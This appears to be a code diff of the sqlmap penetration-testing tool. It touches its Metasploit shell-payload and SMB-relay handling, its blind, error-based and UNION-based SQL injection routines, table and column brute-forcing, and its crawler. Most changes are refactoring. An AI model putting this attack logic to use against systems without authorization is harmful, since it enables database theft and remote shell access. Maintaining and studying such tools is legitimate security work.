_payloadStr = "windows/shell" _payloadStr = "windows/shell"
break break
elif choice == "1": elif choice == "1":
if Backend.isDbms(DBMS.PGSQL): if Backend.isDbms(DBMS.PGSQL):
logger.warn("beware that the VNC injection might not work") logger.warn("beware that the VNC injection might not work")
break break
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
break break
elif not choice.isdigit(): elif not isDigit(choice):
logger.warn("invalid value, only digits are allowed") logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2: elif int(choice) < 1 or int(choice) > 2:
@@ -634,7 +632,7 @@ class Metasploit(object):
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
content = decloak(self.shellcodeexecLocal) content = decloak(self.shellcodeexecLocal)
if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))))
_ = cloak(data=content) _ = cloak(data=content)
handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
os.close(handle) os.close(handle)
@@ -695,9 +693,9 @@ class Metasploit(object):
self._runMsfCliSmbrelay() self._runMsfCliSmbrelay()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
else: else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
debugMsg = "Metasploit Framework console exited with return " debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
+2 -3
View File
@@ -11,6 +11,7 @@ from lib.core.agent import agent
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable from lib.core.common import isStackingAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
@@ -339,11 +340,9 @@ class UDF(object):
if choice == 'Q': if choice == 'Q':
break break
elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice) choice = int(choice)
break break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else: else:
warnMsg = "invalid value, only digits >= 1 and " warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList) warnMsg += "<= %d are allowed" % len(udfList)
+2 -1
View File
@@ -22,6 +22,7 @@ from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique from lib.core.common import getTechnique
from lib.core.common import getTechniqueData from lib.core.common import getTechniqueData
from lib.core.common import isDigit
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath from lib.core.common import normalizePath
@@ -200,7 +201,7 @@ class Web(object):
while True: while True:
choice = readInput(message, default=str(default)) choice = readInput(message, default=str(default))
if not choice.isdigit(): if not isDigit(choice):
logger.warn("invalid value, only digits are allowed") logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices): elif int(choice) < 1 or int(choice) > len(choices):
+8 -6
View File
@@ -8,10 +8,8 @@ See the file 'LICENSE' for copying permission
from __future__ import division from __future__ import division
import re import re
import threading
import time import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
@@ -39,6 +37,7 @@ from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR
@@ -59,6 +58,7 @@ from lib.core.threads import runThreads
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from lib.utils.xrange import xrange from lib.utils.xrange import xrange
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
@@ -190,10 +190,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx): def tryHint(idx):
with hintlock: with kb.locks.hint:
hintValue = kb.hintValue hintValue = kb.hintValue
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
@@ -212,7 +210,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result: if result:
return hintValue[idx - 1] return hintValue[idx - 1]
with hintlock: with kb.locks.hint:
kb.hintValue = "" kb.hintValue = ""
return None return None
@@ -428,6 +426,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
return None return None
else: else:
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
raise SqlmapUnsupportedFeatureException(errMsg)
candidates = list(originalTbl) candidates = list(originalTbl)
bit = 0 bit = 0
while len(candidates) > 1: while len(candidates) > 1:
+1 -1
View File
@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
import re import re
import time import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_DNS_LABEL
from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.safe2bin import safecharencode
def dnsUse(payload, expression): def dnsUse(payload, expression):
""" """
+5 -5
View File
@@ -10,7 +10,6 @@ from __future__ import print_function
import re import re
import time import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.common import Backend from lib.core.common import Backend
@@ -60,6 +59,7 @@ from lib.core.threads import runThreads
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from thirdparty import six from thirdparty import six
def _oneShotErrorUse(expression, field=None, chunkTest=False): def _oneShotErrorUse(expression, field=None, chunkTest=False):
@@ -76,7 +76,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
threadData.resumed = retVal is not None and not partialValue threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..." debugMsg = "searching for error chunk length..."
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -117,7 +117,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
if field: if field:
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname) if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField) nulledCastedField = extendedField.replace(field, nulledCastedField)
@@ -177,7 +177,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else: else:
output = output.rstrip() output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)): if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
if offset == 1: if offset == 1:
retVal = output retVal = output
else: else:
@@ -367,7 +367,7 @@ def errorUse(expression, dump=False):
message = "due to huge table size do you want to remove " message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] " message += "ORDER BY clause gaining speed over consistency? [y/N] "
if readInput(message, default="N", boolean=True): if readInput(message, default='N', boolean=True):
expression = expression[:expression.index(" ORDER BY ")] expression = expression[:expression.index(" ORDER BY ")]
numThreads = min(conf.threads, (stopLimit - startLimit)) numThreads = min(conf.threads, (stopLimit - startLimit))
+6 -2
View File
@@ -38,6 +38,7 @@ from lib.core.settings import MIN_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import ORDER_BY_MAX
from lib.core.settings import ORDER_BY_STEP from lib.core.settings import ORDER_BY_STEP
from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import UNION_STDEV_COEFF
@@ -74,6 +75,9 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if not conf.uCols and _orderByTest(highCols): if not conf.uCols and _orderByTest(highCols):
lowCols = highCols lowCols = highCols
highCols += ORDER_BY_STEP highCols += ORDER_BY_STEP
if highCols > ORDER_BY_MAX:
break
else: else:
while not found: while not found:
mid = highCols - (highCols - lowCols) // 2 mid = highCols - (highCols - lowCols) // 2
@@ -163,7 +167,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if retVal: if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg))
return retVal return retVal
@@ -290,7 +294,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if not conf.uChar and count > 1 and kb.uChar == NULL: if not conf.uChar and count > 1 and kb.uChar == NULL:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
if not readInput(message, default="Y", boolean=True): if not readInput(message, default='Y', boolean=True):
warnMsg += "usage of option '--union-char' " warnMsg += "usage of option '--union-char' "
warnMsg += "(e.g. '--union-char=1') " warnMsg += "(e.g. '--union-char=1') "
else: else:
+2 -2
View File
@@ -10,7 +10,6 @@ import re
import time import time
import xml.etree.ElementTree import xml.etree.ElementTree
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
@@ -62,6 +61,7 @@ from lib.core.threads import runThreads
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from thirdparty import six from thirdparty import six
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
@@ -123,7 +123,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
try: try:
decodeBase64(value) decodeBase64(value)
except binascii.Error: except (binascii.Error, TypeError):
base64 = False base64 = False
break break
+69 -56
View File
@@ -60,6 +60,7 @@ def _addPageTextWords():
return wordsList return wordsList
@stackedmethod
def tableExists(tableFile, regex=None): def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
@@ -74,15 +75,17 @@ def tableExists(tableFile, regex=None):
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result: if result:
errMsg = "can't use table existence check because of detected invalid results " errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection " errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)" errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
pushValue(conf.db)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
message = "which common tables (wordlist) file do you want to use?\n" message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom" message += "[2] custom"
@@ -92,80 +95,88 @@ def tableExists(tableFile, regex=None):
message = "what's the custom common tables file location?\n" message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile tableFile = readInput(message) or tableFile
infoMsg = "checking table existence using items from '%s'" % tableFile infoMsg = "performing table existence using items from '%s'" % tableFile
logger.info(infoMsg) logger.info(infoMsg)
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
tables.extend(_addPageTextWords()) tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex) tables = filterListValue(tables, regex)
threadData = getCurrentThreadData() for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
threadData.shared.count = 0 if conf.db:
threadData.shared.limit = len(tables) infoMsg = "checking database '%s'" % conf.db
threadData.shared.files = [] logger.info(infoMsg)
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.files = []
threadData.shared.unique = set()
while kb.threadContinue: def tableExistsThread():
kb.locks.count.acquire() threadData = getCurrentThreadData()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): while kb.threadContinue:
fullTableName = "%s.%s" % (conf.db, table) kb.locks.count.acquire()
else: if threadData.shared.count < threadData.shared.limit:
fullTableName = table table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
kb.locks.io.acquire() result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
if result and table.lower() not in threadData.shared.unique: kb.locks.io.acquire()
threadData.shared.files.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api: if result and table.lower() not in threadData.shared.unique:
clearConsoleLine(True) threadData.shared.files.append(table)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) threadData.shared.unique.add(table.lower())
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2): if conf.verbose in (1, 2) and not conf.api:
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) clearConsoleLine(True)
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
kb.locks.io.release() if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
try: kb.locks.io.release()
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True) try:
dataToStdout("\n") runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
if not threadData.shared.files: clearConsoleLine(True)
warnMsg = "no table(s) found" dataToStdout("\n")
logger.warn(warnMsg)
else:
for item in threadData.shared.files:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.files): if not threadData.shared.files:
if _ not in kb.brute.tables: warnMsg = "no table(s) found"
kb.brute.tables.append(_) if conf.db:
warnMsg += " for database '%s'" % conf.db
logger.warn(warnMsg)
else:
for item in threadData.shared.files:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.files):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
conf.db = popValue()
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables return kb.data.cachedTables
@@ -278,6 +289,8 @@ def columnExists(columnFile, regex=None):
for column in threadData.shared.files: for column in threadData.shared.files:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
else: else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
+74 -36
View File
@@ -15,6 +15,7 @@ import time
from lib.core.common import checkSameHost from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import findPageForms from lib.core.common import findPageForms
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import openFile from lib.core.common import openFile
@@ -40,11 +41,15 @@ from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
def crawl(target): def crawl(target, post=None, cookie=None):
if not target:
return
try: try:
visited = set() visited = set()
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.shared.value = OrderedSet() threadData.shared.value = OrderedSet()
threadData.shared.formsFound = False
def crawlThread(): def crawlThread():
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
@@ -67,7 +72,7 @@ def crawl(target):
content = None content = None
try: try:
if current: if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0] content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0]
except SqlmapConnectionException as ex: except SqlmapConnectionException as ex:
errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current errMsg += "URL '%s'" % current
@@ -92,8 +97,8 @@ def crawl(target):
soup = BeautifulSoup(content) soup = BeautifulSoup(content)
tags = soup('a') tags = soup('a')
if not tags: tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
tags = re.finditer(r'(?i)<a[^>]+href=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
for tag in tags: for tag in tags:
href = tag.get("href") if hasattr(tag, "get") else tag.group("href") href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
@@ -112,10 +117,10 @@ def crawl(target):
elif not _: elif not _:
continue continue
if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
with kb.locks.value: with kb.locks.value:
threadData.shared.deeper.add(url) threadData.shared.deeper.add(url)
if re.search(r"(.*?)\?(.+)", url): if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url):
threadData.shared.value.add(url) threadData.shared.value.add(url)
except UnicodeEncodeError: # for non-HTML files except UnicodeEncodeError: # for non-HTML files
pass pass
@@ -123,7 +128,7 @@ def crawl(target):
pass pass
finally: finally:
if conf.forms: if conf.forms:
findPageForms(content, current, False, True) threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0
if conf.verbose in (1, 2): if conf.verbose in (1, 2):
threadData.shared.count += 1 threadData.shared.count += 1
@@ -133,36 +138,44 @@ def crawl(target):
threadData.shared.deeper = set() threadData.shared.deeper = set()
threadData.shared.unprocessed = set([target]) threadData.shared.unprocessed = set([target])
if not conf.sitemapUrl: _ = re.sub(r"(?<!/)/(?!/).*", "", target)
if _:
if target.strip('/') != _.strip('/'):
threadData.shared.unprocessed.add(_)
if re.search(r"\?.*\b\w+=", target):
threadData.shared.value.add(target)
if kb.checkSitemap is None:
message = "do you want to check for the existence of " message = "do you want to check for the existence of "
message += "site's sitemap(.xml) [y/N] " message += "site's sitemap(.xml) [y/N] "
kb.checkSitemap = readInput(message, default='N', boolean=True)
if readInput(message, default='N', boolean=True): if kb.checkSitemap:
found = True found = True
items = None items = None
url = _urllib.parse.urljoin(target, "/sitemap.xml") url = _urllib.parse.urljoin(target, "/sitemap.xml")
try: try:
items = parseSitemap(url) items = parseSitemap(url)
except SqlmapConnectionException as ex: except SqlmapConnectionException as ex:
if "page not found" in getSafeExString(ex): if "page not found" in getSafeExString(ex):
found = False found = False
logger.warn("'sitemap.xml' not found") logger.warn("'sitemap.xml' not found")
except: except:
pass pass
finally: finally:
if found: if found:
if items: if items:
for item in items: for item in items:
if re.search(r"(.*?)\?(.+)", item): if re.search(r"(.*?)\?(.+)", item):
threadData.shared.value.add(item) threadData.shared.value.add(item)
if conf.crawlDepth > 1: if conf.crawlDepth > 1:
threadData.shared.unprocessed.update(items) threadData.shared.unprocessed.update(items)
logger.info("%s links found" % ("no" if not items else len(items))) logger.info("%s links found" % ("no" if not items else len(items)))
infoMsg = "starting crawler" if not conf.bulkFile:
if conf.bulkFile: infoMsg = "starting crawler for target URL '%s'" % target
infoMsg += " for target URL '%s'" % target logger.info(infoMsg)
logger.info(infoMsg)
for i in xrange(conf.crawlDepth): for i in xrange(conf.crawlDepth):
threadData.shared.count = 0 threadData.shared.count = 0
@@ -189,13 +202,38 @@ def crawl(target):
clearConsoleLine(True) clearConsoleLine(True)
if not threadData.shared.value: if not threadData.shared.value:
warnMsg = "no usable links found (with GET parameters)" if not (conf.forms and threadData.shared.formsFound):
logger.warn(warnMsg) warnMsg = "no usable links found (with GET parameters)"
if conf.forms:
warnMsg += " or forms"
logger.warn(warnMsg)
else: else:
for url in threadData.shared.value: for url in threadData.shared.value:
kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))
storeResultsToFile(kb.targets) if kb.targets:
if kb.normalizeCrawlingChoice is None:
message = "do you want to normalize "
message += "crawling results [Y/n] "
kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)
if kb.normalizeCrawlingChoice:
seen = set()
results = OrderedSet()
for target in kb.targets:
value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "")
match = re.search(r"/[^/?]*\?.+\Z", value)
if match:
key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
if '=' in key and key not in seen:
results.add(target)
seen.add(key)
kb.targets = results
storeResultsToFile(kb.targets)
def storeResultsToFile(results): def storeResultsToFile(results):
if not results: if not results:
+22 -2
View File
@@ -81,8 +81,8 @@ def checkDependencies():
missing_libraries.add('python-ntlm') missing_libraries.add('python-ntlm')
try: try:
__import__("websocket.ABNF") __import__("websocket._abnf")
debugMsg = "'python websocket-client' library is found" debugMsg = "'websocket-client' library is found"
logger.debug(debugMsg) logger.debug(debugMsg)
except ImportError: except ImportError:
warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg = "sqlmap requires 'websocket-client' third-party library "
@@ -91,6 +91,26 @@ def checkDependencies():
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add('websocket-client') missing_libraries.add('websocket-client')
try:
__import__("tkinter")
debugMsg = "'tkinter' library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'tkinter' library "
warnMsg += "if you plan to run a GUI"
logger.warn(warnMsg)
missing_libraries.add('tkinter')
try:
__import__("tkinter.ttk")
debugMsg = "'tkinter.ttk' library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'tkinter.ttk' library "
warnMsg += "if you plan to run a GUI"
logger.warn(warnMsg)
missing_libraries.add('tkinter.ttk')
if IS_WIN: if IS_WIN:
try: try:
__import__("pyreadline") __import__("pyreadline")
+39 -19
View File
@@ -33,6 +33,7 @@ else:
import base64 import base64
import binascii import binascii
import gc import gc
import hashlib
import os import os
import re import re
import tempfile import tempfile
